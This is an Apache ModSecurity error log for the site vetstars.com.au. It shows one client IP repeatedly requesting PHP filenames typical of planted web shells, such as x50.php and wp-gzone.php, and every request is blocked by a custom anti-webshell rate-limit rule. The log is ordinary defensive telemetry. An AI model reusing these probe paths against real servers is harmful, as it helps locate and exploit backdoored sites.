[Tue Jan 06 18:58:21.042182 2026] [:error] [pid 44903:tid 44918] [client 4.213.57.158:15938] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sto.php"] [unique_id "aVzqzdhHqjs38zbkQPD20wAAAAs"]
[Tue Jan 06 18:58:23.621969 2026] [:error] [pid 45959:tid 45979] [client 4.213.57.158:16378] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sto.php"] [unique_id "aVzqz1ajdn8P3hjgMYynOAAAAVE"]
[Tue Jan 06 18:58:28.714586 2026] [:error] [pid 35140:tid 35156] [client 4.213.57.158:16382] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sto.php"] [unique_id "aVzq1HoQaIDFMbT-XMyxrQAAAQ4"]
[Tue Jan 06 18:58:31.100870 2026] [:error] [pid 35140:tid 35162] [client 4.213.57.158:1120] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bipas.php"] [unique_id "aVzq13oQaIDFMbT-XMyxsAAAARQ"]
[Tue Jan 06 19:00:22.359421 2026] [:error] [pid 44904:tid 44950] [client 4.213.57.158:27909] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pn.php"] [unique_id "aVzrRjtieuI1BJEZcvcTuQAAAEk"]
[Tue Jan 06 19:00:25.174427 2026] [:error] [pid 44905:tid 44986] [client 4.213.57.158:6470] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pn.php"] [unique_id "aVzrSbu7ufwWVst9EAu-IwAAAJI"]
[Tue Jan 06 19:00:28.038211 2026] [:error] [pid 45012:tid 45019] [client 4.213.57.158:27927] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pn.php"] [unique_id "aVzrTBaMAxCuju1d0ubU6AAAAMU"]
[Tue Jan 06 19:00:29.733346 2026] [:error] [pid 44905:tid 44969] [client 4.213.57.158:6468] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pn.php"] [unique_id "aVzrTbu7ufwWVst9EAu-JQAAAIE"]
[Tue Jan 06 19:00:36.414154 2026] [:error] [pid 44904:tid 44962] [client 4.213.57.158:17622] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aVzrVDtieuI1BJEZcvcTxQAAAFU"]
[Tue Jan 06 19:00:40.013697 2026] [:error] [pid 45012:tid 45016] [client 4.213.57.158:11809] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aVzrWBaMAxCuju1d0ubU9AAAAMI"]
[Tue Jan 06 19:00:41.226851 2026] [:error] [pid 35140:tid 35153] [client 4.213.57.158:28555] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aVzrWXoQaIDFMbT-XMyyQAAAAQs"]
[Tue Jan 06 19:00:42.792093 2026] [:error] [pid 35140:tid 35155] [client 4.213.57.158:6797] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aVzrWnoQaIDFMbT-XMyyQwAAAQ0"]
[Tue Jan 06 19:00:47.583640 2026] [:error] [pid 44904:tid 44964] [client 4.213.57.158:1903] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "aVzrXztieuI1BJEZcvcT0AAAAFc"]
[Tue Jan 06 19:00:50.095757 2026] [:error] [pid 45959:tid 45962] [client 4.213.57.158:1878] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "aVzrYlajdn8P3hjgMYyoOAAAAUA"]
[Tue Jan 06 19:00:54.389042 2026] [:error] [pid 45012:tid 45034] [client 4.213.57.158:15301] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "aVzrZhaMAxCuju1d0ubVCAAAANQ"]
[Tue Jan 06 19:00:57.888089 2026] [:error] [pid 45959:tid 45969] [client 4.213.57.158:1870] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "aVzraVajdn8P3hjgMYyoSgAAAUc"]
[Tue Jan 06 19:02:04.948604 2026] [:error] [pid 35140:tid 35162] [client 4.213.57.158:13619] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jatuh.php"] [unique_id "aVzrrHoQaIDFMbT-XMyycwAAARQ"]
[Tue Jan 06 19:02:09.387572 2026] [:error] [pid 44905:tid 44978] [client 4.213.57.158:28187] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jatuh.php"] [unique_id "aVzrsbu7ufwWVst9EAu-eQAAAIo"]
[Tue Jan 06 19:02:13.597311 2026] [:error] [pid 44905:tid 44976] [client 4.213.57.158:13007] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jatuh.php"] [unique_id "aVzrtbu7ufwWVst9EAu-jwAAAIg"]
[Tue Jan 06 19:02:15.778555 2026] [:error] [pid 45959:tid 45983] [client 4.213.57.158:14174] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jatuh.php"] [unique_id "aVzrt1ajdn8P3hjgMYyooAAAAVU"]
[Tue Jan 06 19:02:17.370983 2026] [:error] [pid 35140:tid 35161] [client 4.213.57.158:14180] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aVzruXoQaIDFMbT-XMyyfwAAARM"]
[Tue Jan 06 19:02:19.062880 2026] [:error] [pid 45959:tid 45970] [client 4.213.57.158:16004] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aVzru1ajdn8P3hjgMYyoowAAAUg"]
[Tue Jan 06 19:02:21.858691 2026] [:error] [pid 44903:tid 44920] [client 4.213.57.158:1294] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aVzrvdhHqjs38zbkQPD3bgAAAA0"]
[Tue Jan 06 19:02:24.600028 2026] [:error] [pid 44905:tid 44972] [client 4.213.57.158:28478] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aVzrwLu7ufwWVst9EAu-qQAAAIQ"]
[Tue Jan 06 19:02:27.652975 2026] [:error] [pid 44904:tid 44947] [client 4.213.57.158:28185] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0o0.php"] [unique_id "aVzrwztieuI1BJEZcvcULQAAAEY"]
[Tue Jan 06 19:02:28.286858 2026] [:error] [pid 44905:tid 44986] [client 4.213.57.158:16258] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0o0.php"] [unique_id "aVzrxLu7ufwWVst9EAu-rAAAAJI"]
[Tue Jan 06 19:02:31.022759 2026] [:error] [pid 44905:tid 44968] [client 4.213.57.158:28463] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0o0.php"] [unique_id "aVzrx7u7ufwWVst9EAu-rwAAAIA"]
[Tue Jan 06 19:02:33.431761 2026] [:error] [pid 35140:tid 35159] [client 4.213.57.158:28204] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0o0.php"] [unique_id "aVzryXoQaIDFMbT-XMyyhgAAARE"]
[Tue Jan 06 19:02:36.960848 2026] [:error] [pid 45959:tid 45976] [client 4.213.57.158:28443] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mans.php"] [unique_id "aVzrzFajdn8P3hjgMYyorwAAAU4"]
[Tue Jan 06 19:02:44.291251 2026] [:error] [pid 44903:tid 44910] [client 4.213.57.158:11555] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mans.php"] [unique_id "aVzr1NhHqjs38zbkQPD3fgAAAAM"]
[Tue Jan 06 19:02:48.272051 2026] [:error] [pid 44904:tid 44953] [client 4.213.57.158:7242] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mans.php"] [unique_id "aVzr2DtieuI1BJEZcvcUQQAAAEw"]
[Tue Jan 06 19:02:51.654453 2026] [:error] [pid 44903:tid 44925] [client 4.213.57.158:16304] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aVzr29hHqjs38zbkQPD3fwAAABI"]
[Tue Jan 06 19:02:59.860842 2026] [:error] [pid 44904:tid 44942] [client 4.213.57.158:28477] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aVzr4ztieuI1BJEZcvcUSAAAAEE"]
[Tue Jan 06 19:03:54.906936 2026] [:error] [pid 44905:tid 44992] [client 4.213.57.158:26826] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zozla.php"] [unique_id "aVzsGru7ufwWVst9EAu-_gAAAJg"]
[Tue Jan 06 19:03:57.474274 2026] [:error] [pid 35140:tid 35144] [client 4.213.57.158:28465] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zozla.php"] [unique_id "aVzsHXoQaIDFMbT-XMyyzgAAAQI"]
[Tue Jan 06 19:04:00.017111 2026] [:error] [pid 45959:tid 45965] [client 4.213.57.158:28166] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zozla.php"] [unique_id "aVzsIFajdn8P3hjgMYypIgAAAUM"]
[Tue Jan 06 19:04:02.443838 2026] [:error] [pid 35140:tid 35163] [client 4.213.57.158:1518] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zozla.php"] [unique_id "aVzsInoQaIDFMbT-XMyy1gAAARU"]
[Tue Jan 06 19:04:05.188381 2026] [:error] [pid 45959:tid 45986] [client 4.213.57.158:28441] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aVzsJVajdn8P3hjgMYypKQAAAVg"]
[Tue Jan 06 19:04:07.732580 2026] [:error] [pid 35140:tid 35152] [client 4.213.57.158:1482] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aVzsJ3oQaIDFMbT-XMyy3wAAAQo"]
[Tue Jan 06 19:04:17.519190 2026] [:error] [pid 44904:tid 44961] [client 4.213.57.158:11542] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aVzsMTtieuI1BJEZcvcUugAAAFQ"]
[Tue Jan 06 19:04:21.466696 2026] [:error] [pid 35140:tid 35143] [client 4.213.57.158:11544] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ctex1.php"] [unique_id "aVzsNXoQaIDFMbT-XMyy_gAAAQE"]
[Tue Jan 06 19:04:25.175683 2026] [:error] [pid 44903:tid 44921] [client 4.213.57.158:11573] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ctex1.php"] [unique_id "aVzsOdhHqjs38zbkQPD32QAAAA4"]
[Tue Jan 06 19:04:30.171824 2026] [:error] [pid 45012:tid 45028] [client 4.213.57.158:14187] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ctex1.php"] [unique_id "aVzsPhaMAxCuju1d0ubV-gAAAM4"]
[Tue Jan 06 19:04:40.130454 2026] [:error] [pid 35140:tid 35156] [client 4.213.57.158:16044] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lts.php"] [unique_id "aVzsSHoQaIDFMbT-XMyzDwAAAQ4"]
[Tue Jan 06 19:04:49.956115 2026] [:error] [pid 45959:tid 45970] [client 4.213.57.158:1522] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lts.php"] [unique_id "aVzsUVajdn8P3hjgMYypmwAAAUg"]
[Tue Jan 06 19:05:54.617261 2026] [:error] [pid 44903:tid 44919] [client 4.213.57.158:11564] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fh26.php"] [unique_id "aVzskthHqjs38zbkQPD4oAAAAAw"]
[Tue Jan 06 19:05:57.089231 2026] [:error] [pid 44903:tid 44933] [client 4.213.57.158:16314] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fh26.php"] [unique_id "aVzsldhHqjs38zbkQPD4ogAAABg"]
[Tue Jan 06 19:05:59.223666 2026] [:error] [pid 44904:tid 44951] [client 4.213.57.158:14170] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fh26.php"] [unique_id "aVzslztieuI1BJEZcvcVRgAAAEo"]
[Tue Jan 06 19:06:04.231237 2026] [:error] [pid 44905:tid 44987] [client 4.213.57.158:1281] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fh26.php"] [unique_id "aVzsnLu7ufwWVst9EAu_ywAAAJM"]
[Tue Jan 06 19:06:06.398224 2026] [:error] [pid 44903:tid 44926] [client 4.213.57.158:1308] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hq.php"] [unique_id "aVzsnthHqjs38zbkQPD4rgAAABM"]
[Tue Jan 06 19:06:08.174802 2026] [:error] [pid 44903:tid 44924] [client 4.213.57.158:1955] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hq.php"] [unique_id "aVzsoNhHqjs38zbkQPD4sQAAABE"]
[Tue Jan 06 19:06:09.072963 2026] [:error] [pid 45959:tid 45963] [client 4.213.57.158:10777] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hq.php"] [unique_id "aVzsoVajdn8P3hjgMYyqAAAAAUE"]
[Tue Jan 06 19:06:12.666149 2026] [:error] [pid 45012:tid 45035] [client 4.213.57.158:18534] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hq.php"] [unique_id "aVzspBaMAxCuju1d0ubW1wAAANU"]
[Tue Jan 06 19:06:13.893431 2026] [:error] [pid 35140:tid 35145] [client 4.213.57.158:8716] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-gzone.php"] [unique_id "aVzspXoQaIDFMbT-XMyzYAAAAQM"]
[Tue Jan 06 19:06:17.621352 2026] [:error] [pid 44905:tid 44976] [client 4.213.57.158:15320] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-gzone.php"] [unique_id "aVzsqbu7ufwWVst9EAu_1AAAAIg"]
[Tue Jan 06 19:06:21.859652 2026] [:error] [pid 44903:tid 44922] [client 4.213.57.158:27905] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-gzone.php"] [unique_id "aVzsrdhHqjs38zbkQPD4uAAAAA8"]
